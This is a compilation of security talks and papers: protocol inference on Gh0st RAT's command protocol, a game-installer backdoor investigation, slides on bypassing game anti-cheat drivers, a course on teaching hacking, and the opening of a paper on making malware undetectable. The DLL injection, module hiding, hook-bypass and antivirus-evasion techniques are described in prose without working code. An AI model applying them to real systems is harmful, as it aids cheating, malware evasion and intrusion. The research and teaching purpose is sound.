”forcing” descendant states to follow only execution paths that represent the reception of messages from M(R, Pσi) during the i-th stage. Monitoring outcoming messages The procedure to hook a send function is similar to the one used above for incoming messages. The purpose of the procedure is to perform the monitoring of the queried sequence when the binary code sends a message. Let s be a symbolic state in which the binary code calls the send function, and let σi = ⟨Dσi, Pσi⟩ be the next expected alphabet in the query. In case σi represents incoming messages (i.e Dσi = R), it means that the execution path of s does not match the sequence query w and we discard s. On the other hand, if σi represents an outcoming message type (i.e Dσi = S), we move s to the i + 1-th stage with s′ as its successor. We attach to s′ an assertion that a message from M(S, Pσi) is sent to the network. We implement this assertion by inserting the predicate Pσi(msg) to the constraints of s′, where msg is the sent message buffer. Probing phase The purpose of the probing phase is to generate ContA(w) for w for which the monitoring phase returned True. As above, we hook the send and receive functions of the binary code but insert different procedures. We describe them in the upcoming subsections. The aim of the probing procedure is to uncover all symbolic states that represent execution paths in which a message is sent or received following w. For each such state s the constraints on the 12 Ron Marcovich, Orna Grumberg, and Gabi Nakibly message buffer received or sent, denoted as msgs, are collected. We assume that all concrete values for msgs in the context of state s belong to the same message type and we generate a message type candidate to represent it. In Figure 3, the probing phase is shown in the right part of the figure. Since the purpose of the probing phase is to discover all message type candidates that can follow the sequence w, we continue the execution from active states matching the query w at the end of the monitoring phase (magenta). A message type candidate c is generated from every state s (green), and added to ContA(w). We demonstrate the probing of message type candidates in Appendix A.2. Probing outcoming messages The hooking procedure used in the send function is straightforward. Here msgs is the sent message’s symbolic buffer. We assume that the symbolic buffer has enough constraints under the current state s that sufficiently represent the sent message type. Therefore, no further symbolic exe- cution is needed and the symbolic state s is passed to the procedure to generate a message type candidate. Probing incoming messages Let s be a state in which the binary code calls a receive function during the probing phase. Let msg be the symbolic received message. Upon calling receive, the content of msg is an unconstrained symbolic value as it is received as an input by the binary code. Hence, one cannot extract information on the format of the message type that is expected to be received in state s. To solve this, we present the following novel approach to uncover information regarding the expected received message type: we clone s to s′ with msgs′ = msg and resume symbolic execution of s′. During this execution we assume that the binary code will parse the received message, hence constraints will be developed on msgs′ that will reveal the format expected by the binary code. We choose to resume the execution until the binary code sends or receives another message, or until the code terminates. We assume that until that point the code completes parsing the received message and acts upon its content, hence sufficient constraints are accumulated on the message buffer to identify the expected message type to be received. During these instructions s′ is developed into possibly multiple descendant states. These states are then passed to the procedure to generate a message type candidate. Generating message type candidates Let s be a state that successfully probed either sent or received message – msgs. The purpose of the procedure described here is to generate a message type candidate from s. Note that concrete values satisfying the constraints of s on msgs represent valid messages in the protocol. We assume that these messages are part of the same message type. We ask the symbolic execution engine to solve msgs and generate NUM SOL2 possible concrete values for msgs. Let x be the set of generated concrete messages. We extract Px as described in Section 5.1. Then, we iteratively refine Px by trying to find concrete values 2 In our implementation NUM SOL = 10 PISE: Protocol Inference using Symbolic Execution and Automata Learning 13 m′ of msgs, that contradict Px in a sense that ¬Px(m′) is True. Such m′ are concrete values that can appear in msgs in a real execution (since they were solution to the msgs). Nevertheless, they are not represented by Px. In case we find such m′, we add them to x and regenerate Px. We repeat this process until the solver is unable to find additional m′ that contradict Px. This procedure allows us to find Px that represents all messages that belong to the assumed message type, based only on a small subset of such messages. 6 Optimizations We develop several optimizations to reduce the running time of the method and allow it to scale to real-world protocol implementations. These optimizations take advantage of the characteristics of network protocols and the algorithm itself. Since symbolic execution is the most time consuming part of the algorithm, the developed optimizations focus on reducing the number of needed symbolic executions, as well as reducing the running time of symbolic executions. Prefix Closed Property This optimization leverages the fact that the pro- tocol’s regular language L is a prefix-closed set (See Section 3). It is based on a similar technique, employed in [13]. The optimization allows to answer some membership queries immediately by the Learner without having to resort to symbolic execution. Every membership query w that was answered with False is stored by the membership oracle in a cache. For every membership query w sent to the oracle, it is first checked whether there exists x, y ∈ Σ∗ such that xy = w and x is in the cache. In such a case, the query immediately returns False. In other words, if a prefix of w is not in L, then by definition of prefix- closed set it must hold that w /∈ L. Thus, we avoid unnecessary applications of symbolic execution. When, during the discovery of new message types, an alphabet symbol is removed and L* is restarted, all queries w in the cache that contain a removed symbol are removed from the cache. These queries are invalid with the new alphabet and cannot be a prefix of a query over the new alphabet. Fast Equivalence Queries Let w ∈ Σ∗ be a query for which the member- ship oracle answered True, and let ContA(w) be the returned set of alphabet candidates. We store w and its associated ContA(w) in a cache called continua- tions cache. The equivalence oracle answers an equivalence query for DFA M by utilizing this cache. The oracle checks consistency of M with the continuations cache: for every w in the cache and for every σ ∈ ContA(w), it checks whether M accepts w·σ. If M rejects w·σ, the equivalence oracle returns False and returns w · σ as a counterexample. Thus it alleviates the need to run symbolic execution to answer the query. Note that, the cache stores alphabet symbols after resolving collisions, and not message type candidates. This is necessary so that the cache can return counterexamples over the current alphabet. When alphabet symbol is removed, all cache entries containing the removed symbol are erased. 14 Ron Marcovich, Orna Grumberg, and Gabi Nakibly The correctness of this optimization follows from the definition of ContA(w). According to the definition, every state machine M that claims L(M) = L should satisfy w · σ ∈ L(M). Execution Cache This optimization uses symbolic states s resulting at the end of the monitoring phase for w as initial states for query wx for any x ∈ Σ∗. All queries w for which the teacher returns True are stored in a cache called ”Execution Cache” with all active symbolic states resulting at the end of the monitoring phase for w. Then, whenever a query w′ is sent, the teacher finds decomposition w′ = p.s, p = p1 . . . pk such that p is the longest word in the cache. Then, the monitoring phase for w′ begins with the states saved for p, in the i = k + 1 stage of the monitoring. We skip the first k stages because the states saved for p contains exactly all execution paths for sessions p1 . . . pk. The rest of the query remains the same as described in Section 5.4. We note that, when alphabet symbols are removed, all entries in the cache that include the removed symbol should also be removed. 7 Implementation, Results and Evaluation In this section we present the details of our implementation of the presented method and explore its performance. We evaluated our method against various protocol implementations (including SMTP and other non-standard protocols), however due to space constraints we present here only an evaluation against Gh0st RAT’s C&C protocol. 7.1 Implementation The algorithm was implemented3 as two independent modules for the Learner and the Teacher. The Learner is implemented as a Java program that commu- nicates with the Teacher using local socket. The Teacher is implemented as a Python program that serves the Learner’s queries. We base our implementation on two open source tools: (1) LearnLib [13] – implements the L* algorithm and its variations (for example, [14]); (2) angr [15] – a library that provides static analysis and symbolic execution engine for binary codes. Learning Client (Learner) The Learner begins by initializing a learning pro- cess with LearnLib’s implementation of L*. Membership queries are first checked with the prefix-closed cache (See Section 6). In case of a miss, the query is sent to the Teacher. If the Teacher answers that w ∈ L, then ContA(w) is analyzed for new message types which are added to Σ. Intersections between message types are handled as described in Section 5.2. Conjecture DFA is first checked against the continuations cache as described in Section 6. If the conjectured DFA is found to accept all continuations in the 3 https://github.com/ron4548/{InferenceClient,InferenceServer} PISE: Protocol Inference using Symbolic Execution and Automata Learning 15 cache, an equivalence query approximation is triggered. A test suite is generated using the Wp-Method [11] and is tested as explained in Section 5.3. Missing mes- sage type are handled as described in Section 5.2. Counterexamples are handled by the internal implementation of L*. We use the following features of LearnLib: Classical L* implementation; Sup- port for growing alphabet in L*; Test suite generation with Wp-Method; Prefix- closed cache (See Section 6). On the other hand, we implemented the following modifications: (1) Alphabet symbols as tuples ⟨D, P⟩; (2) Handling of alphabet changes and collisions (Section 5.2); (3) Continuations cache to support Fast equivalence queries. (Section 6); (4) Running tests suites to approximate modi- fied equivalence queries (Section 5.3). Symbolic Execution Server (Teacher) Our Teacher runs symbolic execution using angr, and is the only component that interacts with the binary code. The Teacher initializes symbolic execution for the binary code and setups the hooking of the send/receive functions the user provides. The Teacher receives membership queries in a loop, until the Learner finishes the learning. When a membership query is received, we first check the execution cache optimization (See Section 6), in case of a miss the monitoring phase executes as described in Section 5.4. If the query results with True, the probing phase runs and generates message type candidates. These candidates are collected and sent back to the Learner. 7.2 Gh0st RAT Gh0st RAT is a well known malware4. Once an instance of Gh0st RAT is run on the victim’s computer, the attacker has full control over the system. This includes access to the screen, microphone and camera. The attacker controls the malware using a C&C protocol. The source code of some variants of Gh0st is available on the web. We chose to work with one of them5. In this variant, the RAT runs in a multi-threaded process which connects to the attacker’s server. When a command is received, a new thread and a new connection are created to handle the command and its further communications. Initially, we applied our method on this variant. However, angr [15] is not well-suited for multi-threaded programs. In addition, angr does not fully support Windows API. This lead to difficulties with applying our method on the Gh0st RAT binary directly. To validate that the proposed method can infer a state machine as complex as that of Gh0st RAT, we opted for a different approach. We re-implemented most of the malware’s C&C protocol with a simpler architecture that does not involve threads. We applied our method on this program. We provided our method with two functions that the program uses in order to send and receive messages from the network: get message and send message. Both get a message buffer and its length. The full state machine is complex and contains 27 states and 52 transitions (without rejecting states). We show the full state machine and the discovered alphabet symbols in Appendix A.3. 4 https://attack.mitre.org/software/S0032/ 5 https://github.com/yuanyuanxiang/SimpleRemoter 16 Ron Marcovich, Orna Grumberg, and Gabi Nakibly In Figure 4 we show a branch of the state machine, that handles a com- mand to stream the camera of the victim. In this branch, the attacker sends a command to open the camera stream ([R] WEBCAM). Then, the client sends information regarding the stream ([S] BMPINFO) and waits to receive from the attacker a command to begin streaming ([R] NEXT). From now on, the client sends periodically a bitmap of the webcam to the attacker’s server ([S] BMP). By default, this bitmap is not compressed. The attacker can enable compres- sion of the stream ([R] COMPR ON) and disable it ([R] COMPR OFF). When the compression is on, the bitmap is sent compressed (COMPR BMP). q0 start q1 q2 q3 q4 [R] WEBCAM [S] BMPINFO [R] NEXT [R] COMPR OFF [S] BMP [R] COMPR ON [S] COMPR BMP [R] COMPR ON [R] COMPR OFF Fig. 4. The branch in Gh0st RAT C&C protocol that handles webcam streaming. The letter in the square brackets indicates whether the message is sent or received. Statistics of the learning process are shown in Table 1. 45 message types were discovered. The learner issued about 45,000 membership queries; more than 78% of them were answered by the prefix-closed cache. Only a single equivalence query was issued. This shows the dramatic effectiveness of the continuations cache to reduce the number of costly equivalence queries. There are no discrepancies between the learnt DFA and the protocol’s state machine. Learning time: 142 seconds Total Membership queries: 45488 Total Equivalence queries: 1 Prefix-Closed cache miss rate: 0.2184 Alphabet size: 45 Table 1. Gh0st RAT learning statistics 8 Conclusions In this work we present a novel method for inferring the state machine of a protocol implemented by a binary with no a-priori knowledge of the protocol. Our method is based on extended symbolic execution and modified automata learning. The method assumes access to only the implementation of a single peer of the protocol. We implemented and validated our method on several protocols implemen- tations. As demonstrated by the Gh0st RAT use case, the method can infer complex protocols with dozens of message types. Nonetheless, this use case also highlighted that the method will preform as a good as the symbolic execution engine it relies on. PISE: Protocol Inference using Symbolic Execution and Automata Learning 17 A Appendix A.1 Algorithm to approximate equivalence query using a test suite Algorithm 2 The procedure to approximate equivalence queries 1: function run test suite(M, T ⊂ Σ∗ M) 2: for all w ∈ T do 3: ⟨w ∈ L, ContA(w)⟩ ← membership(w) 4: if w ∈ L then 5: if ContA(w) \ ΣM ̸= ∅ then 6: return ⟨False, w, ContA(w)⟩ 7: end if 8: if w /∈ L(M) then 9: return ⟨False, w⟩ 10: end if 11: else if w ∈ L(M) then 12: return ⟨False, w⟩ 13: end if 14: end for 15: return True 16: end function A.2 Example of probing message type candidates To illustrate how a conditional branch reveals information on a symbolic value, consider the pseudo-code in Listing 1.1 of a binary code: Listing 1.1. Pseudo-code to demonstrate the probing phase 1: Send ( Connect ) ; 2: msg = Receive ( ) ; 3: i f (msg == ”HelloV1” ) { 4: Send ( ” InitV1 ” ) ; 5: . . . 6: } else i f (msg == ”HelloV2” ) { 7: Send ( ” InitV2 ” ) ; 8: . . . 9: } else { 10: abort ( ) ; 11: } Assume a query w = ⟨S, P⟩ where P = (B0B1B2B3B4B5B6 = ”Connect”). The monitoring phase for this query and this binary code is done with a single satisfiable state in line 2. The probing phase resumes this state. In line 2 the binary code receives msg in a state s. msg refers to a symbolic value with no 18 Ron Marcovich, Orna Grumberg, and Gabi Nakibly constraints, as it is an input from the network. A state s′ = s is resumed with msgs′ = msg. The execution splits according to the conditional branches: a state s1 represents execution at line 4 with a constraint that msg = ”HelloV1”, a state s2 represents execution at line 7 with a constraint that msg = ”HelloV2” and a state s3 represents execution at line 10 which aborts and is discarded. Both s1 and s2 represent a call to send, which triggers the generation of message type candidate from msg s1 = msg s2 = msg. In the context of s1, the analysis is tied to the constraint msg = ”HelloV1” and generates a message type candidate ⟨R, P1⟩ where: P1 = (B0B1B2B3B4B5B6 = ”HelloV1”) In the context of s2 the analysis is tied to the constraint msg = ”HelloV2” and generates an alphabet symbol ⟨R, P2⟩ where: P2 = (B0B1B2B3B4B5B6 = ”HelloV2”) The set ContA(w) = {⟨R, P1⟩, ⟨R, P2⟩} is returned with the answer that w ∈ L. A.3 Gh0st RAT Inference Results The full state machine learnt by applying our method on Gh0st RAT C&C is presented in Figure 5. In the protocol a message type is determined by the first byte of the message and some message types provide additional information in the second byte. In Table 2 we present the predicate of the type as the prefix common to all the messages in that type. 0 3 [R:7] 4 [R:4] 5 [R:6] 6 [R:3] 8 [R:10] 9 [R:2] 10 [R:9] 11 [R:5] 12 [R:8] 13 [R:1] 14 [R:0] 17 [R:11] 2 19 [R:24] [S:12] 18 [S:13] 15 [S:14] 16 [S:15] 7 [R:37] [R:9] [R:36] [S:16] 20 [S:17] [S:18] 22 [S:19] 24 [S:20] [S:21] [S:22] [R:30] [R:29] [R:32] [R:31] [R:33] [R:34] 21 [R:24] 26 [S:67] 23 [R:24] [R:4][S:68] [R:24] [S:73] 25 [R:24] [S:74][R:76] 27 [R:75] [R:144][R:145][R:140][S:137] 28 [R:138] [R:76] [R:75][S:199] [S:277] Fig. 5. Full state machine learnt by our method PISE: Protocol Inference using Symbolic Execution and Automata Learning 19 MSG ID Name Prefix MSG ID Name Prefix [R:0] SERVER EXIT 0xcd [R:1] CMD BYE 0xcc [R:2] CMD TALK 0x34 [R:3] CMD REGEDIT 0x33 [R:4] CMD AUDIO 0x22 [R:5] CMD SHELL 0x28 [R:6] CMD SERVICES 0x32 [R:7] CMD SCREEN SPY 0x10 [R:8] CMD CAM 0x1a [R:145] CMD SCREEN BLOCK INPUT 0x15 [R:10] CMD SYSTEM 0x23 [S:277] TOKEN CLIPBOARD TEXT 0x76 [S:12] TOKEN BITMAPINFO 0x73 [S:13] TOKEN AUDIO START 0x79 [S:14] TOKEN SERVERLIST 0x81 [R:140] CMD SCREEN SET CLIPBOARD 0x19 [S:16] TOKEN WSLIST 0x7e [S:17] TOKEN TALK START 0x84 [S:19] TOKEN SHELL START 0x80 [S:20] TOKEN CAM BITMAPINFO 0x77 [S:21] CMD BYE 0xcc [R:32] CMD SVCCFG/START 0x83 0x01 [R:24] CMD NEXT 0x1e [R:30] CMD SVCCFG/DEMAND START 0x83 0x04 [R:29] CMD SERVICELIST 0x82 [R:31] CMD SVCCFG/AUTO 0x83 0x03 [S:22] SERVER EXIT 0xcd [R:33] CMD SVCCFG/STOP 0x83 0x02 [R:34] CMD REG FIND 0xc9 [R:36] CMD WINDOW CLOSE 0x00 [R:37] CMD PSLIST 0x24 [S:67] TOKEN FIRSTSCREEN 0x74 [S:68] TOKEN AUDIO DATA 0x7a [S:74] TOKEN CAM DIB 0x78 0x00 [S:73] TOKEN TALKCMPLT 0x85 [R:75] CMD CAM ENABLECOMPRESS 0x1b [S:112] TOKEN PSLIST 0x7d [R:76] CMD CAM DISABLECOMPRESS 0x1c [S:137] TOKEN NEXTSCREEN 0x75 [R:138] CMD SCREEN GET CLIPBOARD 0x18 [S:15] TOKEN REGEDIT 0xc8 [R:144] CMD SCREEN CONTROL 0x14 [R:9] CMD WSLIST 0x25 [S:199] TOKEN CAM DIB/COMPRESS 0x78 0x01 [R:11] CMD LIST DRIVE 0x01 Table 2. Learnt message types References 1. Alur, R., Cern´y, P., Madhusudan, P., Nam, W.: Synthesis of interface specifications for java classes. In: Proceedings of the 32nd ACM SIGPLAN-SIGACT Symposium on Principles of Programming Languages, POPL 2005, Long Beach, California, USA, January 12-14, 2005. pp. 98–109 (2005) 2. Angluin, D.: Learning regular sets from queries and counterexamples. Inf. Comput. 75(2), 87–106 (1987) 3. Caballero, J., Song, D.: Automatic protocol reverse-engineering: Message format extraction and field semantics inference. Computer Networks 57(2), 451–474 (2013) 4. Caballero, J., Yin, H., Liang, Z., Song, D.X.: Polyglot: automatic extraction of protocol message format using dynamic binary analysis. In: Proceedings of the 2007 ACM Conference on Computer and Communications Security, CCS 2007, Alexandria, Virginia, USA, October 28-31, 2007. pp. 317–329 (2007) 5. Cho, C.Y., Babi´c, D., Poosankam, P., Chen, K.Z., Wu, E.X., Song, D.: MACE: Model-inference-Assisted Concolic Exploration for Protocol and Vulnerability Dis- covery. In: Proceedings of the 20th USENIX Security Symposium (8 2011) 6. Cho, C.Y., Babic, D., Shin, E.C.R., Song, D.: Inference and analysis of formal models of botnet command and control protocols. In: Proceedings of the 17th ACM Conference on Computer and Communications Security, CCS 2010, Chicago, Illinois, USA, October 4-8, 2010. pp. 426–439 (2010) 20 Ron Marcovich, Orna Grumberg, and Gabi Nakibly 7. Comparetti, P.M., Wondracek, G., Kr¨ugel, C., Kirda, E.: Prospex: Protocol specifi- cation extraction. In: 30th IEEE Symposium on Security and Privacy (S&P 2009), 17-20 May 2009, Oakland, California, USA. pp. 110–125 (2009) 8. Cui, W., Kannan, J., Wang, H.J.: Discoverer: Automatic protocol reverse engineer- ing from network traces. In: Proceedings of the 16th USENIX Security Symposium, Boston, MA, USA, August 6-10, 2007 (2007) 9. Cui, W., Peinado, M., Chen, K., Wang, H.J., Ir´un-Briz, L.: Tupni: automatic re- verse engineering of input formats. In: Proceedings of the 2008 ACM Conference on Computer and Communications Security, CCS 2008, Alexandria, Virginia, USA, October 27-31, 2008. pp. 391–402 (2008) 10. Emmi, M., Giannakopoulou, D., Pasareanu, C.S.: Assume-guarantee verification for interface automata. In: FM 2008: Formal Methods, 15th International Sym- posium on Formal Methods, Turku, Finland, May 26-30, 2008, Proceedings. pp. 116–131 (2008) 11. Fujiwara, S., von Bochmann, G., Khendek, F., Amalou, M., Ghedamsi, A.: Test selection based on finite state models. IEEE Trans. Software Eng. 17(6), 591–603 (1991) 12. Gheorghiu, M., Giannakopoulou, D., Pasareanu, C.S.: Refining interface alphabets for compositional verification. In: Tools and Algorithms for the Construction and Analysis of Systems, 13th International Conference, TACAS 2007, Held as Part of the Joint European Conferences on Theory and Practice of Software, ETAPS 2007 Braga, Portugal, March 24 - April 1, 2007, Proceedings. pp. 292–307 (2007) 13. Isberner, M., Howar, F., Steffen, B.: The open-source learnlib. In: Kroening, D., P˘as˘areanu, C.S. (eds.) Computer Aided Verification. pp. 487–495. Springer Inter- national Publishing, Cham (2015) 14. Shahbaz, M., Groz, R.: Inferring mealy machines. In: FM 2009: Formal Methods, Second World Congress, Eindhoven, The Netherlands, November 2-6, 2009. Pro- ceedings. pp. 207–222 (2009) 15. Shoshitaishvili, Y., Wang, R., Salls, C., Stephens, N., Polino, M., Dutcher, A., Grosen, J., Feng, S., Hauser, C., Kr¨ugel, C., Vigna, G.: SOK: (state of) the art of war: Offensive techniques in binary analysis. In: IEEE Symposium on Security and Privacy, SP 2016, San Jose, CA, USA, May 22-26, 2016. pp. 138–157. IEEE Computer Society (2016) 16. Wondracek, G., Comparetti, P.M., Kr¨ugel, C., Kirda, E.: Automatic network pro- tocol analysis. In: Proceedings of the Network and Distributed System Security Symposium, NDSS 2008, San Diego, California, USA, 10th February - 13th Febru- ary 2008 (2008)
pdf
Kenny @ Chroot.org Operation GG (Good Game) 台灣最熱⾨門網遊安裝檔 驚⾒見APT後⾨門 •  Introduction 玩家⾓角度 (Kenny) –  如何發現 / 偵測? –  Event TimeLine •  Operation Winnti (Kaspersky 報告) (GD) •  Operation Old Cooper 通報+追查(PK) •  Unplugging PlugX 清除 (Trend Micro) I am just a Player. 線上遊戲代理商,以串連世界玩家⼀一同遊戲為主要事業。 在東南亞和台灣創造了最⼤大的線上遊戲平台。 英雄連萌 流氓按到 2014.12.26 好久沒玩LOL, 來虐菜(欺負新⼿手)⼀一下~ …….. 如果是⼀一般玩家很可能….. 驚慌失措類型 我的謎⽚片檔案安全嗎? 誰可以幫我處理? 電腦會爆炸嗎? 有個性類型 爛防毒拉 誤報拉 電腦關機 病毒就會餓死拉 第⼀一時間我覺得… WTF !! 我只是想玩LOL 沒有要玩病毒阿…. 這下好玩了 研究⼀一下病毒從哪來的呢? 但我剛好是略懂資安技能的玩家… 最簡單的辨認⽅方法 https://www.virustotal.com/ 惡意後⾨門存放位置 C:\windows\System32\NtUserEx.dll C:\windows\System32\NtUserEx.dat C&C Server位置 Domain: gs2.playdr2.tw gs3.playdr2.tw gs4 playdr2 tw 特徵: update?id=00xxxxxx 秉持著調查精神 決定更深⼊入追查 取得遊戲管道 官網下載器 Game 官網⾴頁⾯面 Game Cloud Server 調查結果 https://vulreport.net/ 佈 由這次的後⾨門看出攻擊者可能有特殊⾝身分 討論後有了更驚⼈人的發現 (這些都是公開報告,可上卡巴網站下載) 資料來源:各大資安公司報告
pdf
The Declaration of Hacker ( TDOH ) LegBone(腿骨) & Singo 為甚麼要講這個議程… 腿骨說…搞了這麼多年的bypass,不來Hitcon 講一場 會很 “幹” About Me Singo (TDOH中區召集人) 臺灣科技大學 資訊管理系 TDOH 2015 淺談逆向Android手遊 TDOH 2014 XSS新手初探之WorkShop TDOH 2013 資安基礎入門 Sitcon 2015 第一次查課程評價就上手(網路爬蟲) About TDOH 組織宗旨: 1. 培育更多資安人才 2. 推廣資安,改變大眾對駭客的刻板映像 3. 讓駭客們不再孤單,舉辦各種活動、聚會、網路論壇 4. 支援與聯合各學校社團,讓資安文化深入學校並傳承下去 談談今天的內容之前… 遊戲常用的保護方式分為R3和R0: - -R3俗稱應用層 - -R0俗稱內核層 Ring3、Ring0是什麼? 能吃嗎? • 不僅系統有R3、R0之分 • 遊戲保護也有R3、R0之分 先聊聊我寫的遊戲外掛~~ 學習了DirectX 3D透視 簡單說明 射擊遊戲 透視的原理 Hook DrawIndexedPrimitive函數 禁用Z軸緩衝 Hook EndScene 函數 這可以將人物上色之類的 也做了自動化的練功工具... BUT…. 人生中最厲害的就是這個BUT… 每當我們開啟遊戲時? 看到右下角跑出一個進度條… 去你的”驅動保護”… 沒關係…. 於是我認識了腿骨… 踏上了學習驅動之路… 我要特別講一下…. 在資安個圈子裡面… 拜見強者的第一句話… 請先加上”大大” 兩個字XD 2013年開始進行系統底層的研究 大概高2 還高3吧…. 反-反外掛(防外掛機制) 矛盾大對決? 道高一尺,魔高一丈 R3的保護方式分為: - -遊戲本身自帶的 - -額外包含進去的 談談R3常檢測的地方: FindWindow ProcessName PostMessage的Iparam,wparam檢測 反調試: DbgBreakPoint DbgUserBreakPoint DbgUiRemoteBreakin 反調試技術: DbgUiRemoteBreakin 所有線程會去呼叫DbgBreakPoint DbgBreakPoint 用來把當前的控制權交出去 Debugger就可以對他下int3斷點 DbgUserBreakPoint 長得和DbgBreakPoint一樣 談談某防掛廠商反調試的方式: 如果沒拔掉DbgUiRemoteBreakin的話: 反-反外掛: 修改ImagePath來偽裝成系統進程繞過檢測 有API HOOK的地方可以直接還原他的Hook (如果沒檢測Hook是否被還原的話… 模塊隱藏: 斷開_PEB_LDR_DATA 底下的三個鏈表來達到模 塊隱藏 InLoadOrderModuleList InMemoryOrderModuleList InInitializationOrderModuleList 模塊隱藏: 模塊隱藏: 抹去PE標誌: 將此處填0即可 Signature=0; 介紹常用的DLL注入方式: 1. 註冊表注入 2. 遠線程注入 3. 白名單注入 4. 輸入法注入 …….等等 註冊表注入: 利用系統的user32.dll啟動時,會加載註冊表 AppInit_Dlls下所列出來的DLL,根據這個原理可以將欲 注入的DLL路徑寫進AppInit_Dlls下,來達成注入。 引用至: http://blog.csdn.net/u013565525/article/details/28416279 遠線程注入: 遠線程注入的核心概念是利用Windows提供的遠線程機 制,在目標進程中開啟一個加載DLL的遠線程,使外掛 DLL被該遠線程所加載到遊戲的記憶體內。 會用到的API有: OpenProcess、GetProcAddress、VirtualAllocEx、 WriteProcessMemory(WPM)、CreateRemoteThread、 LoadLibrary。 白名單注入: 原理是利用系統重要的進程來幫我們進行DLL的注入也就 是第三方注入。 輸入法注入: 由於大多數的反外掛都阻止了外部程序讀取遊戲或注入遊 戲,但是卻有一個最重要的東西一定要載入遊戲,就是輸 入法! 透過加載輸入法時的code在LoadLibrary的動作時,將我 們的動態鏈結庫加載進遊戲記憶體中,來達到注入的效果! 注入的結論: 其實注入方式不只這些 只要能好好的將DLL注入進去就是好方法!!! -
 Rootkit 
 Ring 0 TDOH-Singo
 TDOH-LegBone Singo Ring3 Ring0 windows ?.dll/exeOpenprocess kernel32.OpenProcess windows ?.dll/exeOpenprocess kernel32.OpenProcess windows ?.dll/exeOpenprocess ntdll.NtOpenProcess kernel32.OpenProcess windows ?.dll/exeOpenprocess ntdll.NtOpenProcess nt!KiFastCallEntry kernel32.OpenProcess windows ?.dll/exeOpenprocess ntdll.NtOpenProcess nt!KiFastCallEntry NtOpenProcess kernel32.OpenProcess windows ?.dll/exeOpenprocess ntdll.NtOpenProcess nt!KiFastCallEntry NtOpenProcess PCHunterSSDT HOOKHSEagleXNt.sys HOOK SSDT HOOK • SSDT SSDT HOOK • SSDT • KiFastCallEntrySSDT SSDT HOOK • SSDT • KiFastCallEntrySSDT • SSDT HOOK • SSDT • KiFastCallEntrySSDT • • inline HOOK • inline HOOK • • calljmp inline HOOK • • calljmp • inline HOOK • • calljmp • • • PCHunter WinDbg() windbg+vmware Google
 ORZ HSinlint hook nt!NtOpenProcess HSnt!NtOpenProcess Call 86613AE8 • HS • HSHOOK • • • EPROCESS • 0x16c(win7x86) • ByPass DEMO BUT HS0day(?) HOOK • ntkrplen.exe • ntkrplen.exe • • ntkrplen.exe • • SSDT • ntkrplen.exe • • SSDT • Hook KiFastCallEntry • ntkrplen.exe • • SSDT • Hook KiFastCallEntry • http://.isalways.one
pdf
Teaching Hacking at College Sam Bowne Computer Networking and Information Technology City College San Francisco New Class at CCSF Hacking is Built into Our Program Why Teach Hacking? • Lectures aren't enough • Students need hands-on labs • Practice attack and defense • Hacking is new and exciting • Even professional network admins don't know hacking Isn't Teaching Hacking Dangerous? • Criminal hackers don't go to college to learn it • The good guys need to learn it too • Discussing the issues openly is better than forcing students to learn it outside class Level of Course • Prerequisites: Network+ and Security+ • No programming – We don't create exploits • We just use existing tools, like "script kiddies" • Each project shows vulnerability, attack, and defense The Hacking Lab • Host systems: – Windows XP, 1 GB RAM, 2.2 GHz Pentium 4 – 20 GB System drive, 80 GB drive for VMs • Each student has a folder with three VMware virtual machines – Windows XP – Windows 2000 Pro – Ubuntu Linux Internet Connection • A single ZyXel router connects the lab to the Internet • Upstream bandwidth throttled to 128 kbps – To protect the Net from the lab Warnings • Each student signed a "Code of Ethics" agreement • Warnings posted in lab and on screens at boot-up Student Assistants • Student volunteers monitored the lab, and had keys • The lab became a hangout for hackers • None of the equipment was broken or stolen • Morale was high Projects: Attacks • Metasploit – Taking Over a Windows 2000 box from Windows XP – Taking over a locked Windows 2000 box from Linux • Performing a Denial of Service attack on a Web Server with Nmap • Rootkitting Ubuntu Linux (and fixing it) • Basic Website hacking with HackThisSite.org Projects: Finding Vulnerabilities • Port Scanning with Nmap • Analyzing Port Scans with Wireshark • Testing Firewalls • NetBIOS Null Sessions • Nessus Vulnerability Scanner • Microsoft Baseline Security Analyzer (MBSA) • Winfingerprint Projects: Stealing Passwords • Ettercap • Software and Hardware Keyloggers • Ophcrack • Cain and Abel • John the Ripper Projects: Bypassing Passwords • Ubuntu Linux – Live CD and mount – Using recovery mode • Windows – Ultimate Boot CD Results of the Class • 80 students took the class • 40 of them passed (a typical success rate) • No security incidents • Very high enthusiasm and praise from the students • A lot of interest in more advanced hacking classes Conclusion • Teach Hacking! • High rewards, no problems • BUT: – CCSF is different from four-year colleges – Our students are typically working professionals – Students in dormitories may get into more mischief Credits • Supported by the Institute for Convergence of Optical and Network Systems (ICONS) – Funded by NSF • Encouraged and hosted by the Computer Networking and Information Technology Department – Especially Carmen Lamha and Pierre Thiry Contact Information • Sam Bowne • Website: samsclass.info • Email: [email protected]
pdf
SECURITY PAPER Preparation Date: 11 Dec 2016 Art of Anti Detection – 1 Introduction to AV & Detection Techniques Prepared by: Ege BALCI Penetration Tester ege.balci<at>invictuseurope.com INVICTUS 2 Security TABLE OF CONTENT 1. Abstract:.............................................................................................................................................. 3 2. Introduction........................................................................................................................................3 3. Terminology....................................................................................................................................... 3 4. Common Techniques..................................................................................................................... 4 4.1 Obfuscation............................................................................................................................... 4 4.2 Packers........................................................................................................................................ 4 4.3 Crypters...................................................................................................................................... 5 5. The Problem About Crypters & Packers............................................................................... 5 5.1 PE Injection:............................................................................................................................. 5 6. Perfect Approach..............................................................................................................................6 7. Heuristic Engines.......................................................................................................................... 10 8. Decrypt Shellcode.........................................................................................................................10 9. Dynamic Analysis Detection....................................................................................................11 9.1 Is Debugger Present:........................................................................................................ 12 9.2 Load Fake Library................................................................................................................13 9.3 Get Tick Count...................................................................................................................... 13 9.4 Number Of Cores.................................................................................................................14 9.5 Huge Memory Allocations................................................................................................14 9.6 Trap Flag Manipulation..................................................................................................... 15 9.7 Mutex Triggered WinExec................................................................................................15 10. Proper Ways To Execute Shellcodes...............................................................................16 10.1 HeapCreate/HeapAlloc:.................................................................................................... 16 10.2 LoadLibrary/GetProcAddress:........................................................................................16 10.3 GetModuleHandle/GetProcAddress:...........................................................................16 11. Multi Threading......................................................................................................................... 17 12. Conclusion....................................................................................................................................18 13. References:.................................................................................................................................19 INVICTUS 3 Security 1. Abstract: This paper will explain effective methods for bypassing the static, dynamic and heuristic analysis of up to date anti-virus products. Some of the methods are already known by public but there are few methods and implementation tricks that is the key for generating FUD(Fully Undetectable) malware, also the size of the malware is almost as important as anti-detection, when implementing these methods i will try to keep the size as minimum as possible. this paper also explains the inner workings of anti-viruses and windows operating system, reader should have at least intermediate C/C++ and assembly knowledge and decent understanding of PE file structure. 2. Introduction Implementing anti detection techniques should be specific for each malware 